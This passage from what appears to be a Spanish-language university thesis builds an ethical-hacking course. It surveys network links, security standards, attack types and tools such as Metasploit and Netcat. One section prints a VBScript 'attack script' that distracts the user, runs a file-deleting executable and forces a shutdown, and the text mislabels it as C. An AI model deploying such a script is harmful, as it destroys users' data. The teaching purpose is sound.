Fuente: Aporte realizadores. 
                                            
18Fiber to the home. Se basa en la utilización de cables de fibra óptica y sistemas de distribución ópticos adaptados a 
esta tecnología para la distribución de servicios avanzados (telefonía, Internet de banda ancha y televisión), a los 
hogares y negocios de los abonados. 
https://es.wikipedia.org/wiki/Fibra_hasta_la_casa 
19Fiber to the building. Es una manera rentable para permitir la comunicación de datos a alta velocidad para edificios 
con cableado existente.http://www.icotera.com/technologies/fiber-to-the-home/fiber-to-the-building-fttb/ 
20Fiber to the curb. Se refiere a la instalación y el uso de cable de fibra óptica directamente a los bordillos cerca de 
casas o cualquier entorno empresarial como reemplazo de "servicio telefónico de edad" (POTS). 
http://searchnetworking.techtarget.com/definition/fiber-to-the-curb 
21Fiber to cabinet. Similar a FTTN, pero la cabina o armario de telecomunicaciones está más cerca del usuario, 
normalmente a menos de 300 metros. https://es.wikipedia.org/wiki/FTTx 
22Fiber to the exchange. No se considera parte del grupo de tecnologías FTTx, a pesar de la similitud en el nombre. 
FTTE es una forma de cableado estructurado utilizado típicamente en red de área local, que se utiliza para conectar 
el armario de distribución de fibra óptica para el suelo con un escritorio o estación de trabajo. 
https://es.wikipedia.org/wiki/FTTx 
23
 Arquitectura de redes de transporte óptico. Se describe la arquitectura funcional de las redes de transporte ópticas 
que utilizan la metodología de modelado descrito en las Recomendaciones UIT-T G.800yUIT-T G.805. 
https://www.itu.int/rec/T-REC-G.872-201210-I/en 
36 
 
El proceso operacional sobre el soporte óptico, valida los factores técnicos, que se citan a 
continuación: 
 Velocidad de propagación. 
 Refracción.  
 Angulo crítico. 
 Perfil de índice. 
 Configuración: Escalón sencillo y Escalón multinodo. 
 Angulo y cono de aceptación. 
 Apertura numérica. 
 Perdidas: Absorción, Dispersión, Dispersión Cromática, Radiación, Acoplamiento y Nodal. 
 Tipos de transmisión. 
o VPRZ: Transmisión digital de regreso a cero unipolar. 
o VPNRZ: Transmisión digital de no regreso a cero unipolar. 
2.1.6. Enlace satelital. El satélite de comunicaciones es un repetidor de radio, independiente de 
su posición de giro orbital o geoestacionario (Ver figura 6), cada enlace, identifica: el Azimut24 y 
el Ángulo de elevación, junto con los siguientes parámetros operacionales [Tomasi 2010]: 
 Potencia de transmisión y energía de BIT. 
 Potencia, radiad isotrópico. 
 Temperatura de ruido equivalente. 
 Densidad de ruido. 
 Relación de densidad de portadores. 
 Relación de densidad de energía de Bit a ruido. 
Técnicamente, el intercambio de valores informáticos conlleva implícitamente la operación de 
estos factores: Unidad satelital, Enlace de subida (6 GHz – 14 GHz), Enlace de bajada (10 GHz – 
12 GHz), Patrón de comunicación y Software de control y distribución. 
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 Azimut: Ángulo de orientación vertical que forma el meridiano que pasa por un punto de la esfera celeste. 
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Figura 6. Estructura lógica de enlace satelital. 
Fuente: Construcción propia.  
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2.1.7. Contextualización de la seguridad. En el entorno computacional, la seguridad se define 
como la unidad de especificación sistémica que integra servicios, procedimientos y técnicas, que 
regulan y proyectan la confiabilidad y disponibilidad de una arquitectura computacional; sin 
embargo la seguridad informática, se define de forma más precisa, mediante el diagrama 
sintáctico que se señala en la figura 7 [Sheldon 2006]. 
 
Figura 7. Especificación funcional de la seguridad. 
Fuente: Aporte realizadores. 
 
Los núcleos funcionales dispuestos por la recomendación X.800, para la catalogación de 
servicios, comprenden: Autentificación, Control de acceso, Confidencialidad de datos, Integridad 
de los datos y No repudio. [Stallings 2012]. 
Complementariamente, los mecanismos de seguridad presuponen y validan la significancia 
operacional de estas entidades: Cifrado, firma digital, control de acceso, integridad de datos, 
relleno de tráfico, control de enrutamiento, notarización, detección y recuperación. 
La seguridad informática, estructura las estrategias orientadas a la eliminación de las amenazas y 
ataques, siendo la amenaza, la entidad que cualifica la intencionalidad perturbadora y el ataque 
es la medida del espectro de la vulnerabilidad, que conlleva la perturbación o modificación de un 
dominio computacional para efectos de detalle del eje teórico de sustento de este trabajo, se 
describe lo relacionado con el concepto de ataque y amenaza, las estructuras de seguridad, los 
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ejes de dominio y las herramientas de apoyo para la implementación de acciones, los cuales se 
tratan a continuación: 
 Gradiente perturbador. El gradiente perturbador, es el eje sobre el cual, se desarrollan e 
implementan tanto las posibilidades de violación como los asaltos a la seguridad, con la figura 8, 
se explica la semántica de este gradiente. 
 
 
Figura 8. Gradiente perturbador. 
Fuente. Aporte realizadores. 
 
 Estructura de seguridad. La estructura de seguridad, se acepta como el espacio referencial, 
sobre el que se define una acción perturbadora de la estabilidad y confiabilidad de una 
plataforma computacional o sistema teleinformático [Schneider 2000], el término estructura 
valida sistémicamente, su esencia, dominio y temporalidad, involucrando los parámetros lógicos 
que construyen su valoración semántica que lo proyectan como espacio y escenario. 
Los principales escenarios operacionales, donde se opera el patrón de seguridad son: 
o Seguridad correo electrónico. 
o Seguridad en la web. 
o Seguridad IP. 
o Seguridad en la gestión de redes. 
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El alcance descriptivo, se ilustra de forma correspondiente, con ayuda de las figuras 9, 10, 11 y 
12. 
Debe resaltarse obviamente, que la definición y operación de la estructura de seguridad, en el 
entorno informático, conlleva el conocimiento de la temática asociada con la detección de 
intrusos, gestión de contraseñas, software dañino y sistemas de confianza. 
El soporte teórico de carácter normativo que regula los diferentes procesos de seguridad 
computacional, está integrado por: 
o X9.1725: Gestión de claves. 
o RFC 202626: Normalización de internet. 
o RFC 204027: Algoritmo RC5. 
o RFC 204528: Marco mime. 
o RFC 2246: Protocolo TLS. 
o RFC 2459: Certificado X.509 
o RFC 2573: SNMP. 
o RFC 257529: Modelo VACM. 
o RFC 2828: Vademécum de seguridad. 
o RFC 3174: Algoritmo Hash. 
o X.800: Arquitectura de seguridad OSI / ISO. 
o X.509: Clave pública. 
o SP 800-38A30: Cifrado de bloque. 
o FIPS 46.3: Cifrado DES. 
o FIPS 113: Autentificación de datos. 
o FIPS 18131: Generador automático de claves.  
o FIPS 186.2: Firma digital. 
                                            
25
 X 9.17 es un estándar el cual permite la gestión de claves mediante el estándar de cifrado DES. 
26
 RFC 2026 es el proceso que normatiza los protocolos y procedimientos de la comunidad de internet. 
27RFC 2040 define sistemas de cifrado para la interoperabilidad entre las aplicaciones. 
28RFC 2045 describe mecanismos para resolver sin incompatibilidad los formatos de los mensajes de correo.   
29RFC 2575 Modelo de control de accesos basado en vistas, determina si el acceso a la MIB (base de datos de 
información jerárquica) es permitido. 
30SP 800-38A detalla los modos de confidencialidad para los algoritmos de cifrado.   
31FIPS 181 pretende evitar la aparición de contraseñas en diccionarios mediante caracteres  aleatorios. 
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Figura 9: Seguridad en correo electrónico. 
Fuente: Construcción propia. 
 
 
Figura 10. Seguridad en la web. 
Fuente: Aporte realizadores. 
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Figura 11. Seguridad IP. 
Fuente: Aporte realizadores. 
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Figura 12: Seguridad SNMP.  
Fuente: Construcción propia. 
 
 Dominios de seguridad. El dominio de seguridad, es considerado como el escenario donde se 
definen y aplican los agentes disturbadores de la integridad de un sistema teleinformático 
[García-Moran 2013]; los dominios de consideración funcional son: 
o Dominio de usuario: Workstation, PC, Iphone. 
o Dominio de red: LAN, HUB, SERVIDOR: 
 Archivos. 
 Comunicaciones. 
 Impresión. 
 Base de datos. 
 Correo electrónico. 
 Backup. 
o Dominio ampliado LAN-WAN: Router, firewall, mainframe, honeypot, servicios simples y 
servicios complejos. 
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La conectividad lógica de estos dominios se observa en la figura 13. 
Figura 13. Dominios de seguridad. 
Fuente: Construcción propia. 
 
 Herramientas de operación. El conjunto de herramientas de operación, que se utilizan con 
frecuencia para evaluar las vulnerabilidades y estructuran los ataques de mayor referenciación 
son: [García-Moran 2013] 
o Análisis de red. 
 Netscan Tools. 
o Trazado de rutas. 
 Tracert. 
 Tracerroute. 
o Escaneo y scripting. 
 NMAP. 
 NETCAT. 
 SSS (Shadow Security Scanner). 
 NESSUS. 
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o Gestión de vulnerabilidad. 
 Metasploit. 
 Meterpreter. 
 Brutus. 
o Robo de contraseñas. 
 Keylogger. 
o Penetración. 
 NET. 
 NETSTAT. 
 SNMPUTIL. 
o Enumeración. 
 WERZID. 
 SIDZUSER. 
 CAIN&ABEL. 
 NBTDUMP. 
 WERDUMP. 
 USERINFO. 
 ENUM. 
 DUMPSEC. 
 FOCA. 
2.2. Proceso funcional de hacking 
El incremento exponencial del número de ataques en la red, producto de la masificación de las 
tecnologías de la información y las comunicaciones, ha demandado a las agencias especializadas 
de seguridad y a la organización inteligente, generar y estructurar estrategias orientadas a reducir 
el riesgo producido por los bucaneros y enemigos de la red. 
A continuación, se describen los principios fundamentales que se profundizarán en el capítulo 
correspondiente al diseño de la solución pretendida. 
2.2.1. Intrusos.  Convencionalmente un intruso, se define en el eje de la seguridad informática, 
como la entidad que modifica los atributos de confiabilidad, disponibilidad e integridad de la 
información que participa en la realización de una transacción teleinformática, su operación 
regular, se observa en la figura 14. 
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Figura 14. Acción nominal del intruso. 
Fuente: Aporte realizadores. 
 
El intruso, puede producir en la arquitectura que ataca fallas de alta consideración o 
perturbaciones de carácter elemental, según sea la efectividad del proceso realizado, se 
consideran efectos de alta consideración las que modifican totalmente la configuración de la 
arquitectura computacional, ejemplo de estas son: 
 Eliminación de archivos. 
 Modificación de valores de emisión y recepción. 
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 Congelación del servidor. 
 Alteración de parámetros de control. 
 Bloqueo de unidades operacionales. 
 Desvío y cambio del valor transaccional. 
Mientras que estas fallas son consideradas de acción leve: 
 Introducción de contenidos de alarma. 
 Cancelación de operación para catalogación de hibernación. 
 Modificación funcional del proceso transaccional. 
 Activación del soporte del narrador. 
 Bloqueo de parámetros en la bitácora de control o IOELOG (Input Output Error Login). 
2.2.2. Software dañino. El software dañino, es el soporte conversacional que emplea el grupo de 
hackers, para ocasionar daños en el usuario final, funcionalmente su clasificación se aprecia en la 
figura 15. 
 
Figura 15. Software dañino. 
Fuente: Construcción propia. 
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Las estrategias que permiten bloquear su acción, radican en la utilización del conjunto de 
módulos de software especializado, que se lista aquí: 
 Bitdefender: www.bitdefender.com 
 Kaspersky: www.kaspersky.com 
 Webroot: www.webroot.com 
 Eset Nod32: www.eset.com 
 AVG:www.avg.com 
 Avira: www.avira.com 
 Trend Micro: www.trend.com 
 Microsoft security: www.microsoft.com/security_essentials. 
El patronato operacional de este soporte se halla regulado por agencias como NCSA32 (National 
Cyber Security Alliance), CSI33 (Computer Security Institute) y la US-CERT (United States 
Computer Emergency Readiness Team). 
2.2.3. Tipología de ataques. El ataque como asalto a la seguridad, producto de una amenaza 
inteligente cuya finalidad es la destrucción física o lógica del objetivo seleccionado, se 
materializan en estos núcleos operacionales: 
 Fuerza bruta. 
 Spoofing34. 
 Hijacking. 
 Hombre en el medio. 
 Masquerading35. 
 Ingeniería social. 
                                            
32NCSA es una asociación público-privada para promover la concienciación sobre la seguridad cibernética para los 
usuarios domésticos, empresas pequeñas y medianas, y la educación primaria y secundaria. 
https://en.wikipedia.org/wiki/National_Cyber_Security_Alliance 
33CSIera una organización de membrecía profesional sirviendo los profesionales de la información, la red y la 
seguridad física del ordenador habilitado, desde el nivel de administrador del sistema a la oficial de seguridad de la 
información. 
 https://en.wikipedia.org/wiki/Computer_Security_Institute 
34Spoofing Hace referencia al uso de técnicas a través de las cuales un atacante, generalmente con usos maliciosos o 
de investigación, se hace pasar por una entidad distinta a través de la falsificación de los datos en una comunicación. 
https://es.wikipedia.org/wiki/Spoofing 
35Masquerading permite a los equipos internos sin domicilio conocido fuera de su red, para comunicarse con el 
exterior. 
http://www.comptechdoc.org/independent/networking/guide/netipmasq.html 
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 Phishing36. 
 Phreaking37. 
 Pharming38. 
 Sniffing39 o eavesdropping40.  
Las herramientas utilizadas para la realización de ataques de uso frecuente son: 
 VS: Buscadores de vulnerabilidad. 
 PS: Buscadores de puertos. 
 Sniffer: Capturador de tráfico. 
 Wardialers: Marcador telefónico. 
 Keyloggers: Registrador de teclado. 
Los ataques, explotan las vulnerabilidades que se registran en los diferentes dominios de trabajo, 
tal como se muestra en la figura 16, dichos ataques se originan en estas fuentes de proceso, a 
saber: 
 Software dañino. 
 Terrorismo. 
 Espionaje industrial. 
 Congelación equipo. 
 Perturbación del middleware 
 Desastre lógico y eléctrico. 
                                            
36Phishingsuplantación de identidad es un término informático que denomina un modelo de abuso informático y que 
se comete mediante el uso de un tipo de ingeniería social caracterizado por intentar adquirir información 
confidencial de forma fraudulenta. 
https://es.wikipedia.org/wiki/Phishing 
37Phreaking es la actividad de aquellos individuos que orientan sus estudios y ocio hacia el aprendizaje y 
comprensión del funcionamiento de teléfonos de diversa índole, tecnologías de telecomunicaciones, funcionamiento 
de compañías telefónicas, sistemas que componen una red telefónica y por último; electrónica aplicada a sistemas 
telefónicos.  
https://es.wikipedia.org/wiki/Phreaking 
38Pharminges la explotación de una vulnerabilidad en el software de los servidores DNS  o en el de los equipos de 
los propios usuarios, que permite a un atacante redirigir un nombre de dominio a otra máquina distinta. De esta 
forma, un usuario que introduzca un determinado nombre de dominio que haya sido redirigido, accederá en su 
explorador de internet a la página web que el atacante haya especificado para ese nombre de dominio. 
https://es.wikipedia.org/wiki/Pharming 
39Sniffing se trata de una técnica por la cual se puede "escuchar" todo lo que circula por una red. Esto que en 
principio es propio de una red interna o Intranet, también se puede dar en la red de redes: Internet. 
http://www.internetmania.net/int0/int93.htm 
40Eavesdropping se refiere a ataques de escuchas, tanto sobre medios con información cifrada, como no cifrada. 
https://es.wikipedia.org/wiki/Eavesdropping 
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Figura 16. Dominios de acción de ataque. 
Fuente: Diseño requerido. 
 
Para eliminar los ataques, la norma x.800 establece las estrategias de control, asociadas con estos 
procesos: 
 Autentificación. 
 Control de acceso. 
 Confidencialidad. 
 Integridad. 
 No repudio. 
El desastre lógico y eléctrico corresponde a las acciones producidas por los pulsos 
electromagnéticos (EPM) o por las radiofrecuencias de alta energía (Herf). 
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Finalmente, se debe citar, que los causantes o productores de ataques, se agrupan en las 
siguientes categorías: 
 BHH: Black Hat Hacker41 
 WHH: White Hat Hacker42 
 GHH: Gray Hat Hacker43 (Wannabe)44 
Es preciso citar, que la organización inteligente elabora sólidos planes de seguridad al interior 
del proceso de auditoría, que se aplican sobre las áreas que se listan: 
 Software antivirus. 
 Políticas de acceso. 
 Detección de intrusos. 
 Monitoreo de eventos. 
 Políticas de confiabilidad. 
 Acciones de contingencia. 
 Seguridad física. 
 Administración de configuración. 
 Protección de unidades o dispositivos. 
Contrarrestar un ataque, implica el considerar la lista de referentes que se citan a continuación: 
 Proceso de autentificación. 
o Kerberos45 
 Seguridad. 
 Fiabilidad. 
 Transparencia. 
                                            
41BHH: Black Hat Hacker: Los hackers de sombrero negro muestran sus habilidades en informática rompiendo 
sistemas de seguridad de computadoras, colapsando servidores, entrando a zonas restringidas, infectando redes o 
apoderándose de ellas, entre otras muchas cosas utilizando sus destrezas en métodos hacking. 
https://es.wikipedia.org/wiki/Hacker#White_hat_y_black_hat 
42WHH: White Hat Hacker: Se refiere a una ética hacker que se centra en asegurar y proteger los sistemas de 
tecnologías de la información y la comunicación. https://es.wikipedia.org/wiki/Hacker#White_hat_y_black_hat 
43GHH: Gray Hat Hacker. Son un híbrido entre los hackers de sombrero blanco y de sombrero negro. Usualmente no 
atacan por intereses personales o con malas intenciones, pero están preparados para cometer delitos durante el curso 
de sus hazañas tecnológicas con el fin de lograr una mayor seguridad. https://es.wikipedia.org/wiki/Sombrero_gris 
44Wannabe son aquellos a los que les interesa el tema de hacking y/o phreaking pero que por estar empezando no 
son reconocidos por la elite. Son aquellos que si perseveran aprendiendo y estudiando, pueden llegar a convertirse 
perfectamente en hackers. http://aldanagonzaleznoto.blogspot.com.co/p/samurai-phreaker-y-wannabe-
definiciones.html 
45Kerberos es un protocolo de autenticación de redes de ordenador creado por el MIT que permite a dos ordenadores 
en una red insegura demostrar su identidad mutuamente de manera segura. https://es.wikipedia.org/wiki/Kerberos 
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 Escalabilidad. 
o X.509 
 Certificador. 
 Proceso de correo electrónico. 
o PGP46 (PrettyGoodPrivacy). 
o S/Nine (RFC 822) 
 Datos empaquetados. 
 Datos firmados. 
 Proceso de certificador. 
 Proceso IP. 
o IPSEC 
 Control de acceso 
 Integridad sin conexión. 
 Autentificación. 
 Rechazo. 
 Confidencialidad 
o Gestión de claves 
 Protocolo Oakley47. 
 ISAKMP48 
 Proceso web. 
o Arquitectura SSL49 
o Arquitectura TLS50 
                                            
46PGP (PrettyGoodPrivacy) es un programa desarrollado por Phil Zimmermann y cuya finalidad es proteger la 
información distribuida a través de Internet mediante el uso de criptografía de clave pública, así como facilitar la 
autenticación de documentos gracias a firmas digitales. https://es.wikipedia.org/wiki/Pretty_Good_Privacy 
47Protocolo Oakleyes un protocolo clave-acuerdo que permite a las partes autenticadas para intercambiar material 
clave a través de una conexión insegura usando el algoritmo de intercambio de claves Diffie-Hellman. 
https://en.wikipedia.org/wiki/Oakley_protocol 
48ISAKMP es un protocolo criptográfico que constituye la base del protocolo de intercambio de claves 
IKE.ISAKMP define los procedimientos para la autenticación entre pares, creación y gestión de asociaciones de 
seguridad, técnicas de generación de claves, y la mitigación de la amenaza. 
https://es.wikipedia.org/wiki/Internet_Security_Association_and_Key_Management_Protocol 
49Arquitectura SSL Protocolo de seguridad, diseñado por NetScape Communications Inc. y RSA Data Security Inc, 
para establecer asociaciones seguras entre un proceso cliente y otro servidor. 
http://pegaso.ls.fi.upm.es/arquitectura_redes/T2-L2-Web-seg-11.pdf 
50Arquitectura TLS es el sucesor del protocolo SSL que permite que internet sea más seguro. 
delta.cs.cinvestav.mx/~francisco/ssi/ssi_tls.ppt 
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o Arquitectura SET51 
El proceso operacional que registra e ilustra lo pertinente al hacking ético cubriendo sus 
aspectos básicos y señalando los procedimientos formales con la ejemplificación 
correspondiente, se presentan en el contenido entregable en el capítulo tres. 
  
                                            
51Arquitectura SET es una especificación que detalla las instrucciones que una unidad central de procesamiento 
puede entender y ejecutar, o el conjunto de todos los comandos implementados por un diseño particular de una CPU. 
https://es.wikipedia.org/wiki/Conjunto_de_instrucciones 
54 
 
3. CONSTRUCCIÓN DE LA SOLUCIÓN 
En este capítulo, los realizadores exponen el marco formal que define el escenario de la solución 
propuesta, que se caracteriza por ofrecer a la comunidad académica quien se interesa por cursar 
la electiva de seguridad digital, específicamente en lo correspondiente al hacking ético. 
Cada unidad de aprendizaje sistemático, comprende los siguientes factores: 
 Título temático de aprendizaje. 
 Objetivo de la unidad de aprendizaje. 
 Componentes temáticos. 
 Actividades de complementación. 
 Referentes bibliográficos. 
En lo sucesivo, se desarrollan las UAES (Unidades de Aprendizaje por Exposición Sistémico) 
que se listan, a saber: 
 Generalidades del hacking ético. 
 Intrusos y delito informático. 
 Software dañino. 
 Configuración operacional del vector de ataque. 
 Instrumentos de valoración funcional. 
3.1. UAES 1: Generalidades del hacking ético 
 Objetivo de aprendizaje. Proporcionar al interesado, la contextualización del proceso de 
hackeo, para facilitar la comprensión y dimensionamiento de su operación en la sociedad de la 
información y el ciberespacio. 
 Componentes temáticos 
o Conceptualización general. 
o Parámetros lógicos de la seguridad. 
o Escenario operacional. 
o Guerra de la información. 
3.1.1. Conceptualización general. Se darán a conocer los conceptos básicos de seguridad 
informática, se referenciarán las agencias reguladoras y se valorará la terminología pertinente a 
los ataques, amenazas y agentes generadores de perturbación en los dominios computacionales. 
3.1.1.1. Seguridad digital. 
 Atributo cualificador de la confiabilidad e integridad de un sistema computacional.  
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 Factor de medida de la integridad operacional de una arquitectura teleinformática. 
 Conjunto de especificaciones y normativas que estructuran el nivel de confiabilidad y 
respuesta ante la presencia de una amenaza o ataque. 
3.1.1.2. Agencia reguladora. Entidad responsable de la especificación, definición y 
promulgación de la normatividad reguladora de los procesos asociados con los mecanismos y 
servicios de seguridad, estas son: 
 IAB. 
 IETF. 
 IESG. 
Su funcionalidad, se registra en la figura 17. 
 
Figura 17. Funcionalidad agencia reguladora. 
Fuente: Diseño pertinente por realización. 
3.1.1.3. Referentes operacionales. Documentos cuyo construido registra la normatividad 
requerida para ejecutar operaciones confiables durante el intercambio transaccional sobra una 
arquitectura teleinformática, entre estas se encuentran: 
 RFC 2828: Vademécum de especificaciones. 
 RFC 1321: Algoritmo MD5. 
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 RFC 1636: Seguridad en internet. 
 RFC 2026: Normalización. 
 RFC 2045: Mime. 
 RFC 2246: TLS. 
 RFC 2573: SNMP. 
 RFC 2630: Sintaxis de mensajes criptográficos. 
 RFC 3174: HASH. 
 X.509: Clave pública. 
 X.800: Arquitectura de seguridad OSI. 
 FIPS 181: Generación automática de contraseñas.   
3.1.1.4. Terminología básica. El estudio del hacking ético, precisa del conocimiento e 
interpretación formal de los siguientes conceptos: 
 Amenaza. Acción que determina la confirmación o exploración de una vulnerabilidad en el 
dominio seleccionado. 
 Ataque. Operación o acción definida sobre un referente de dominio lógico para estructurar un 
daño o producir un desastre ponderado como delito informático. 
 Dominio. Eje de acción sobre el que se cualifica un control o una operación de validación de 
confiabilidad e integridad. 
Los dominios básicos son: 
o Dominio de usuario. 
o Dominio de estación. 
o Dominio LAN. 
o Dominio LAN to WAN. 
o Dominio WAN. 
o Dominio de acción rebote. 
 Servicio. Entidad que permite contrarrestar la acción de una amenaza o ataque, sus núcleos de 
operación son: 
o Autentificación. 
o Control de acceso. 
o Confidencialidad. 
o Integridad. 
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o No repudio. 
 Mecanismo. Cuantificador lógico estructural que permite detectar la presencia o acción de una 
amenaza o ataque, los núcleos de conformación del mecanismo son: 
o Cifrado. 
o Firma digital. 
o Control de acceso. 
o Relleno de tráfico.52 
o Enrutamiento. 
o Notarización.53 
o Etiqueta de seguridad.54 
 Factores de consistencia. Valoradores descriptivos de la operación de una solución telemática, 
comprenden: 
o Interoperabilidad. 
o Gestionabilidad. 
o Seguridad. 
o Capacidad. 
En la figura 18, se presentan dichos factores de consistencia, para identificar su función, a saber: 
 Interoperabilidad. Conectividad y flujo entre arquitecturas heterogéneas a nivel operacional. 
 Gestionabilidad. Configuración lógica de hardware especializado para monitoreo y ejecución 
transaccional. 
 Seguridad. Especificación de confiabilidad e integridad. 
 Capacidad. Medida del volumen transaccional de flujo y de la velocidad de intercambio. 
                                            
52
 Consiste en enviar tráfico espurio junto con los datos válidos para que el atacante no sepa si se está enviando 
información, ni qué cantidad de datos útiles se está transmitiendo. 
http://www.delitosinformaticos.com/especial/seguridad/mecanismos.shtml 
53
 Autenticación o certificación de documentos importante a través de un notario para la identificación de una 
persona y de este modo evitar fraude o suplantación en la información.  
54
 Se encargan de proteger de forma efectiva contra el robo los productos en toda la cadena de valor e incrementar la 
transparencia del inventario. http://directortic.portalinformatico.com/seguridad/etiqueta-seguridad-al-dispositivo-
multifuncional-201205312627.htm 
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Figura 18. Factores de consistencia. 
Fuente. Diseño requerido. 
 Congelación. Proceso o estado generado por acción de un ataque, que modifica la 
operacionalidad de toda arquitectura; se manifiesta de esta manera: 
o Omisión 
 Recepción. 
 Transmisión. 
o Tiempo 
 Sincronismo equivoco del oscilador. 
59 
 
 Falla o alteración de parámetros. 
o Respuesta 
 Valor transaccional. 
 Estructura y contenido. 
o Arbitraria 
 Desborde de puerto. 
 Equivoco direccionamiento. 
 Falla de enrutamiento. 
 Actores de acción. Sujetos descriptores de riesgo, que estructuran acciones orientadas al 
sabotaje, a la exploración o al cometimiento de una acción selectiva, comúnmente se identifican 
estos agentes: 
o BHH: Black Hat Hacker 
o WHH: White Hat Hacker 
o GHH: Gray Hat Hacker 
o Cracker 
Las herramientas de uso convencional en el trabajo de dichos actores son: 
o Exploradores de vulnerabilidad. 
o Exploradores de puertos. 
o Sniffers.55 
o Wardialers.56 
o Keylogger.57 
Los núcleos o escenarios de operación de uso frecuente por los denominados actores de acción 
son: 
o Ataque por fuerza bruta. 
o Diccionario. 
o Addressspoofing. 
                                            
55
 Programa informático que registra la información que envían los periféricos, así como la actividad realizada en un 
determinado ordenador. https://es.wikipedia.org/wiki/Detecci%C3%B3n_de_sniffer 
56Es un tipo de programa que se encarga de escanear números telefónicos empleando un módem, buscando aquellos 
que estén conectados a computadoras. http://www.alegsa.com.ar/Dic/war%20dialer.php 
57
 Es un tipo de software o un dispositivo hardware específico que se encarga de registrar las pulsaciones que se 
realizan en el teclado, para posteriormente memorizarlas en un fichero o enviarlas a través de internet. 
https://es.wikipedia.org/wiki/Keylogger 
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o Hijacking. 
o Man in the middle. 
o Masquerading. 
o Ingeniería social. 
 Software repelente. Soporte lógico, que permite configurar y recuperar un núcleo informático, 
luego de detectarse y valorarse el escenario resultante del ataque, convencionalmente se alude 
con este nombre al conjunto de antivirus de uso convencional, entre los que se encuentran: 
o Bitdefender: www.bitdefender.com 
o Kaspersky: www.kaspersky.com 
o Webroot: www.webroot.com 
o AVG antivirus: www.avg.com 
o Microsoft security essentials: www.microsoft.com 
 Organización de ataque. Grupo responsable de la acción generada por las consecuencias de un 
ataque; su presencia en el ciberespacio los cataloga como la súper conciencia que viaja en la 
misma dirección, en el entorno de la seguridad, se reconoce como base discursiva el conocido 
lema de Anonymous: 
“Knowledge is free 
We are anonymous 
We are legion 
We do not forgive 
We do not forget 
Expect us” 
3.1.1.5. Script. Unidad lógica que implementa y define un conjunto de operaciones orientadas a 
configurar un ataque. Por ejemplo, el segmento siguiente, registra un código embebido escrito en 
leguaje C, que borra los archivos del directorio seleccionado. 
  
61 
 
Set wshShell = wscript.CreateObject(“wscript.shell”) 
Dim neusa, Libre 
neusa = “I am only for you…give me a kiss” 
wshShell.run (“desert.jpg”) 
Set Libre = CreateObject(“smpi.spvoice”) 
Libre speak neusa 
wscript.sleep 800 
wshShell.run (“nota1.jpg”) 
msgbox “Disfruta mi belleza”, 512, “intentalo” 
wshShell.run (“borre.exe”) 
wshShell.run (“shutdown -s –f –t 20”) 
Este script, cautiva la atención del usuario y de forma amigable le invita a no despegar su 
interacción para luego borrar los archivos y apagar el sistema. 
Para fines de documentación, se presentan los siguientes módulos: 
 Creación de ventanas 
msgbox “JUAN SANCHEZ – ANDRES MUÑOZ”, 48, “UNIVERSIDAD LIBRE!” 
msgbox “SOMOS LOS MEJORES”, 20, “IMAGEN INSTITUCIONAL!” 
 Activación del cd 
Set OWMP = CreateObject(“WMPlayer.OCX.7”) 
Set ColCDROMS = OWMP.cdromCollection 
If ColCDROMS.Count then 
For i = 0 to ColCDROMS.Count – 1 
ColCDROMS.Item(i).Eject 
Next ‘ cdrom 
End if 
 Programación leds de control 
Set wshShell = wscript.CreateObject(“WScript.Shell”) 
wscript.sleep 50 
wshshell.sendkeys”{CAPSLOCK}” 
wshshell.sendkeys”{NUMLOCK}” 
wshshell.sendkeys”{SCROLLLOCK}” 
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 Enlace al narrador 
Dim speaks, speech 
speaks=”UNIVERSIDAD LIBRE 2015” 
Set speech=CreateObjects(“sapi.spvoice”) 
speech.Speak speaks 
 Control del reloj 
Set libre1 = CreateObject(“Scripting.FileSystemObject”) 
Set sistemas = FSO.OpenTextFile(“nota.txt”, 8, True) 
salida = Date & “ “ & Time 
sistemas.WriteLine(salida) 
sistemas.Close 
Set sistemas=Nothing 
Set Libre1=Nothing 
3.1.1.6. Hacking ético. Proceso sistemático integral y metodológico que aplica los 
conocimientos de un hacker a estructurar y formalizar estrategias de carácter defensivo, con el 
fin de consolidar las políticas de seguridad en la organización. 
El hacking ético, presupone el dominio de estos referentes. 
 Dominio de programación 
 Conocimiento de sistemas operativos 
 Conocimiento de redes, protocolos, configuración y gestión telemática 
 Instalación de hardware 
El hacker como gurú, se enfrenta a la acción del cracker (agente destructor), para minimizar la 
acción del riesgo y garantizar los elementos esenciales de la seguridad, a saber: 
 Confidencialidad 
 Autenticidad 
 Integridad 
 Disponibilidad 
La acción operacional del hacker, se registra en la figura 19. 
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Figura 19. Acción operacional del hacker. 
Fuente: Aporte realizadores. 
 
El responsable del hacking ético, debe potencializar el empleo de los denominados test de 
seguridad, a saber: 
 Caja negra (black box)58 
 Caja blanca (white box)59 
 Caja gris (gray box)60 
En el transcurso del desarrollo de la seguridad computacional, se reconocen estos nombres, dada 
su acción participativa, a saber: 
 Paul Baran 
 Kevin Mitnick 
 Mark Abene 
 John Draper 
                                            
58Elemento que es estudiado desde el punto de vista de las entradas que recibe y las salidas o respuestas que 
produce, sin tener en cuenta su funcionamiento interno. https://es.wikipedia.org/wiki/Caja_negra_(sistemas) 
59Se denomina a un tipo de pruebas de software que se realiza sobre las funciones internas de un módulo. 
https://es.wikipedia.org/wiki/Caja_blanca_(sistemas) 
60Se basa en la realización de testing de caja negra basado en casos de prueba realizados por personas que conocen el 
programa por dentro.https://jummp.wordpress.com/2011/05/27/testing-de-caja-gris-grey-box-testing/ 
64 
 
 ChenIng-Hou 
 Johan Helsingius 
 Sir Dystic 
 David Smith 
 TsutomuShimomura 
El propósito fundamental del hacker ético es dar respuesta a estas preguntas: 
 ¿Qué vulnerabilidades se poseen? 
 ¿Qué acción puede efectuarse? 
 ¿Cómo se detecta un ataque? 
 ¿Cómo se recupera la configuración luego del ataque? 
 ¿Cómo se blinda la arquitectura? 
3.1.1.7. Tipología de vulnerabilidades. El hacker, se caracteriza por conocer e instrumentar las 
vulnerabilidades presentadas en la capa de red, capa de internet, capa de transporte y capa de 
aplicación, cuya manifestación se valora así: 
 Capa de red 
o Control de acceso 
o Confidencialidad 
 Capa de internet 
o Sniffing a datagramas. 
o Suplantación de mensaje 
o Denegación 
 Capa de transporte 
o Intercepción sesiones TCP 
o Secuestro de sesión 
 Capa de aplicación 
o Servicio nombres de dominio 
o Servicios TelNet/FTP/HTTP 
3.1.1.8. Actividades de complementación. El interesado en el aprendizaje del hacking ético, 
debe estar familiarizado con los comandos básicos de operación, por esta causa, se debe conocer 
con propiedad los listados seguidamente: 
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 Ping 
Opciones: -t, -a, -n, -f, -v, -r, -R, -s, -j, -4 y -6 
 Route 
Opciones: print, change y delete 
 Finger 
Opciones: -L, @Host 
 Net 
Opciones: Account, computer, config, continue, file, group, pause, start, session, user, 
